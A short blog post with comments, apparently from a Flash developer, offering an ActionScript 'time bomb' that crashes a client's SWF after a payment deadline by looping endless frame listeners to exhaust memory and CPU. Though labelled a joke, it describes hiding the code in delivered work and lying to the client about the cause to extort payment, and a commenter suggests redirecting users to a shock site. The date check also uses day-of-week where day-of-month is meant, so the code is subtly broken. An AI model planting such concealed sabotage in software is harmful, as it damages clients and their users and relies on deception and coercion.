-
var d:Date = new Date()
-
// payment deadline
-
var payMonth:int = 9;
-
var payDay:int = 5;
-
// add five days so it's not too obvious and so you can replace
-
// the swf on their server if they do pay
-
payDay+=5;
-
if (d.getMonth()>= payMonth){
-
if (d.getDay()>= payDay){
-
// very nasty code to crash flash, alternately you could do anything that will break
-
// you app
-
while(1){
-
stage.addEventListener(Event.ENTER_FRAME, function(){ this["__"+Math.random()]=getTimer()*Math.random()});
-
}
-
}
-
}
WARNING: This snippet and post are a JOKE. Be careful, this code could potentially cause flash a 15 second timeout in flash and will eat ram and cpu.
Have you ever had to bug a client to get paid when the site has already gone live? Sometimes the agreement you have with the client could prevent you from getting paid until 30 or even 90 days after the site is live. I generally try to avoid these types of agreements and get a chunk of 30-50% upfront, but every now and then the job is too good to pass up and I make the choice to just suck it up and wait to get paid.... anyway...
This snippet adds a time-bomb to your swf... if the client doesn't pay up... five days after the payment deadline the swf will stop working. They will be forced to contact you and you can say that they need to pay before you'll do any additional work. You can say you don't know what the problem is off the top of your head, you'll need to go in and take a look. You can say that your local version works... so maybe the online file was corrupted... but that you'll need to be paid before you can do anything else.
I'm just kidding around. Luckily, out of all the freelance jobs I've done over the years there was only one time when I didn't get paid in full...
3 Comments
if your swf must have js access, you can put a time bomb with navigateToURL to random shock site
Nice ideas…
LOL, absolutely genius.